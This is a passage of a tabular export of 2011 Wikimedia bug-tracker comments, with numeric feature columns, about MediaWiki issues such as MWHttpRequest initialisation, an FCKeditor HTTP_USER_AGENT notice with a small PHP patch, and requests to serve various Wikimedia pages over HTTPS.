There should be a way to require(GlobalFunctions.php) in such a case.

HTTP component set to ""redirect"", feel free to change this.

--------------------------
**Version**: 1.20.x
**Severity**: minor"
154958,MWHttpRequest may have to require_once() GlobalFunctions.php,"**raphael.droz** wrote:

I need MWHttpRequest during Auth::authenticate.
Just tested and it happens that wfIniGetBool *is* defined at this time.
(thus I'm fine with WONTFIX)

*but* if I wanted to use it during the *constructor* of my Auth plugin it would have failed.",,,1321656772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,3.0,11.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,13.0,2.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6507936507936507,0.7142857142857143,"**raphael.droz** wrote:

I need MWHttpRequest during Auth::authenticate.
Just tested and it happens that wfIniGetBool *is* defined at this time.
(thus I'm fine with WONTFIX)

*but* if I wanted to use it during the *constructor* of my Auth plugin it would have failed."
154950,MWHttpRequest may have to require_once() GlobalFunctions.php,You'll want to create a $wgAuth instance I think (or should even that not run until wgExtensionFunctions time? quite possibly) but you definitely should NOT be actively attempting to use framework features as nothing may be set up yet.,,,1321644785,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,18.0,13.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.377777777777778,0.9333333333333333,You'll want to create a $wgAuth instance I think (or should even that not run until wgExtensionFunctions time? quite possibly) but you definitely should NOT be actively attempting to use framework features as nothing may be set up yet.
154945,MWHttpRequest may have to require_once() GlobalFunctions.php,"**raphael.droz** wrote:

But shouldn't Auth-related extensions be used in LocalSettings in order to setup wgAuth instead of using wgExtensionFunctions ?
If so, then does it mean that such extension can't rely on MW HTTP facilities ?",,,1321634939,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,15.0,6.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.145833333333333,0.875,"**raphael.droz** wrote:

But shouldn't Auth-related extensions be used in LocalSettings in order to setup wgAuth instead of using wgExtensionFunctions ?
If so, then does it mean that such extension can't rely on MW HTTP facilities ?"
154940,MWHttpRequest may have to require_once() GlobalFunctions.php,"Are you using MWHttpRequest::factory() directly in the extension setup code? If so, suggest WONTFIX. It's expected that not everything are initialized at that time. There's also a [[mw:Manual:$wgExtensionFunctions]] for code which requires a fully initialized environment.",,,1321629327,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,4.0,14.0,4.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,4.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,8.0,4.647058823529412,0.8235294117647058,"Are you using MWHttpRequest::factory() directly in the extension setup code? If so, suggest WONTFIX. It's expected that not everything are initialized at that time. There's also a [[mw:Manual:$wgExtensionFunctions]] for code which requires a fully initialized environment."
34396,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","The page https://lists.wikimedia.org/mailman/listinfo/wikibugs-l loads the bugzilla logo over http, not over https.

Please change this and check all other mail lists, which are using logos.

Maybe use protocol relative urls

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1321208460,1321305957.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-p23aqxht4xoastxbttjg,task_description,resolved,True,c2,1,False,False,True,-94,True,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9649122807017543,0.7192982456140351,"The page URL loads the bugzilla logo over http, not over https.

Please change this and check all other mail lists, which are using logos.

Maybe use protocol relative urls

Thanks.

--------------------------
**Version**: unspecified
**Severity**: normal"
158944,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","(In reply to comment #1)
> All images on that page are loading over SSL for me at present. Can you
> confirm?

When I checked earlier, the URL was HTTP, but was also 404.  I asked Philippe to fix it.",,,1321306369,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,8.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,25.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,8.0,8.0,6.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,2.9166666666666665,0.8055555555555556,"(In reply to comment #1)
QUOTE
QUOTE

When I checked earlier, the URL was HTTP, but was also 404.  I asked Philippe to fix it."
158938,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","Yes, someone has work on this. Thanks.",,,1321305957,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,False,,,-94,True,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.9,"Yes, someone has work on this. Thanks."
158930,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https",All images on that page are loading over SSL for me at present. Can you confirm?,,,1321300944,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-p23aqxht4xoastxbttjg,task_subcomment,,True,c2,1,True,,,-94,True,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,22.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.611111111111111,1.0,All images on that page are loading over SSL for me at present. Can you confirm?
34322,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Having FCKeditor installed, I get the following notice when I run the maintenance scripts:

Notice: Undefined index: HTTP_USER_AGENT in extensions\FCKeditor\fckeditor\fckeditor_php5.php on line 37

The file in question attempts to access $_SERVER['HTTP_USER_AGENT'] which is not set in command line mode.

People have already asked for a fix in CKEditor itself, however the CKEditor guys say they will not fix this issue. See http://dev.ckeditor.com/ticket/6279

I see no reason for FCKeditor to be loaded when running command line php scripts for mediawiki maintenance. 
I propose to fix the issue in the MediaWiki extension by adding an early return, if we are in command line mode:

At the beginning of FCKeditor\FCKeditor.php:
<code>
// There is no reason for FCKeditor to run in commandline mode.
// Returning avoids breakage of scripts like dumpBackup.php.
if ( isset($wgCommandLineMode) && $wgCommandLineMode )
{
    return; // Simply return from the include, so no FCKeditor code is run
}
</code>

I am running MediaWiki 1.17 and the according released version of FCKeditor.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1320866820,1323819001.0,PHID-USER-lcqy7fyefr42fd2lpdne,False,,False,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_description,resolved,True,c2,1,False,False,True,-94,True,0.0,0.0,0.0,1.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.3333333333333333,0.0,0.0,0.3333333333333333,2.0,0.0,2.3333333333333335,9.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.333333333333333,2.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,1.0,0.3333333333333333,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,13.333333333333334,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,4.0,2.3333333333333335,11.0,2.0,1.3333333333333333,5.666666666666667,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,1.3333333333333333,0.0,2.6666666666666665,9.333333333333334,5.666666666666667,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,1.0,0.6666666666666666,0.3333333333333333,2.3333333333333335,0.0,0.0,2.0,4.391891891891892,0.7342342342342342,"Having FCKeditor installed, I get the following notice when I run the maintenance scripts:

Notice: Undefined index: HTTP_USER_AGENT in extensions\FCKeditor\fckeditor\fckeditor_php5.php on line 37

The file in question attempts to access $_SERVER['HTTP_USER_AGENT'] which is not set in command line mode.

People have already asked for a fix in CKEditor itself, however the CKEditor guys say they will not fix this issue. See URL

I see no reason for FCKeditor to be loaded when running command line php scripts for mediawiki maintenance. 
I propose to fix the issue in the MediaWiki extension by adding an early return, if we are in command line mode:

At the beginning of FCKeditor\FCKeditor.php:
<code>
// There is no reason for FCKeditor to run in commandline mode.
// Returning avoids breakage of scripts like dumpBackup.php.
if ( isset($wgCommandLineMode) && $wgCommandLineMode )
{
    return; // Simply return from the include, so no FCKeditor code is run
}
</code>

I am running MediaWiki 1.17 and the according released version of FCKeditor.

--------------------------
**Version**: unspecified
**Severity**: normal"
154623,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Hi Brion,

yes, your patch solves the issue as well! Thank you! :-)",,,1323869954,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,6.0,11.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.8888888888888888,"Hi Brion,

yes, your patch solves the issue as well! Thank you! :-)"
154618,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Ok looks like the loader code is doing this:

  // Initialize FCKeditor and the MediaWiki extension
  $fckeditor = new FCKeditor('fake');
  $wgFCKEditorIsCompatible = $fckeditor->IsCompatible();

so...... that kinda defeats the purpose of a loader script not being supposed to execute stuff that might not work. ;)

Lemme see if we can disable that....

r106129 should do the job, seems to work for my testing. Joerg, can you confirm?",,,1323819001,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,True,,,-90,True,0.0,0.0,0.0,1.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,2.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,8.0,2.0,1.0,8.0,0.0,1.0,0.0,0.0,8.0,1.0,0.0,0.0,3.0,8.0,8.0,1.0,1.0,0.0,3.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,4.213483146067416,0.7752808988764045,"Ok looks like the loader code is doing this:

  // Initialize FCKeditor and the MediaWiki extension
  $fckeditor = new FCKeditor('fake');
  $wgFCKEditorIsCompatible = $fckeditor->IsCompatible();

so...... that kinda defeats the purpose of a loader script not being supposed to execute stuff that might not work. ;)

Lemme see if we can disable that....

r106129 should do the job, seems to work for my testing. Joerg, can you confirm?"
154611,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Shouldn't make a difference between 1.18 and earlier since it's a bug in the FCKEditor low-level classes, it looks like.

These really shouldn't be getting invoked unless the editor is in use, though.... but I don't really want to mess around with its internals. ;)",,,1323818630,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,True,,,-90,True,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,2.0,2.0,4.0,5.0,0.0,0.0,0.0,2.0,0.0,12.0,16.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,4.0,4.0,9.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,16.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,3.8947368421052633,0.8421052631578947,"Shouldn't make a difference between 1.18 and earlier since it's a bug in the FCKEditor low-level classes, it looks like.

These really shouldn't be getting invoked unless the editor is in use, though.... but I don't really want to mess around with its internals. ;)"
154606,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Hi sumanah,

thanks for the question. I was not yet able to install 1.18 to test this. I hope that other work in my wiki is completed during this week and that I can install 1.18 next weekend. I will definitely keep you updated here.",,,1323613139,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-90,True,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,14.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7254901960784315,0.7843137254901961,"Hi sumanah,

thanks for the question. I was not yet able to install 1.18 to test this. I hope that other work in my wiki is completed during this week and that I can install 1.18 next weekend. I will definitely keep you updated here."
154602,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","**sumanah** wrote:

Joerg, just a quick question, does the problem still happen with MediaWiki 1.18?",,,1322776202,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.625,0.8333333333333334,"**sumanah** wrote:

Joerg, just a quick question, does the problem still happen with MediaWiki 1.18?"
154600,"Undefined index ""HTTP_USER_AGENT"" causes PHP notice in maintenance scripts","Created attachment 9404
Patch for the issue

I attached the patch.

**Attached**: {F8381}",,,1320866932,,PHID-USER-lcqy7fyefr42fd2lpdne,False,,,PHID-TASK-ynjvd2pb6u52k7kwgzgh,task_subcomment,,True,c2,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.3333333333333335,0.7916666666666666,"Created attachment 9404
Patch for the issue

I attached the patch.

**Attached**: {F8381}"
34196,http links on File usage on other wikis,"When accessing commons via https, the ""File usage on other wikis"" section on a file page uses http links to the other projects.  These links should be https.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1320373440,1320395782.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-w4pif4hppayurj3rogjv,task_description,resolved,True,c2,1,True,False,True,-95,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,23.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8846153846153846,0.6923076923076923,"When accessing commons via https, the ""File usage on other wikis"" section on a file page uses http links to the other projects.  These links should be https.

--------------------------
**Version**: unspecified
**Severity**: normal"
156488,http links on File usage on other wikis,"**Bryan.TongMinh** wrote:



%%%*** This bug has been marked as a duplicate of bug 32050 ***%%%",,,1320395782,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-w4pif4hppayurj3rogjv,task_subcomment,,True,c2,1,False,,,-95,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.484848484848485,0.5454545454545454,"**Bryan.TongMinh** wrote:



%%%*** This bug has been marked as a duplicate of bug 32050 ***%%%"
34066,Allow HTTPS access on noc.wikimedia,"I am wondering whether it is by omission or purpose that http://noc.wikimedia.org/ does not have https:// available?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1320022080,1320205113.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-eywkkq7offsekzjpiede,task_description,resolved,True,c2,1,False,False,True,-96,True,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,4.305555555555555,0.75,"I am wondering whether it is by omission or purpose that URL does not have https:// available?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
157390,Allow HTTPS access on noc.wikimedia,"

*** This bug has been marked as a duplicate of bug 23004 ***",,,1320205113,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-95,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 23004 ***"
157383,Allow HTTPS access on noc.wikimedia,"Well, until you or I get time to do such a thing, individual bugs are fine.",,,1320109182,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.9473684210526315,"Well, until you or I get time to do such a thing, individual bugs are fine."
157377,Allow HTTPS access on noc.wikimedia,"(In reply to comment #8)
> Please continue to submit bugs for services which are missing https.

Are you sure individual bugs make sense here? Something more systematic seems saner.",,,1320109040,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eywkkq7offsekzjpiede,task_subcomment,,True,c2,1,True,,,-96,True,0.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,1.0,"(In reply to comment #8)
QUOTE

Are you sure individual bugs make sense here? Something more systematic seems saner."
157371,Allow HTTPS access on noc.wikimedia,"I don't think it's necessary to have this argument every time a bug is submitted for services that don't have https, so... For every service we have, if it is feasible to do https, we should do https.

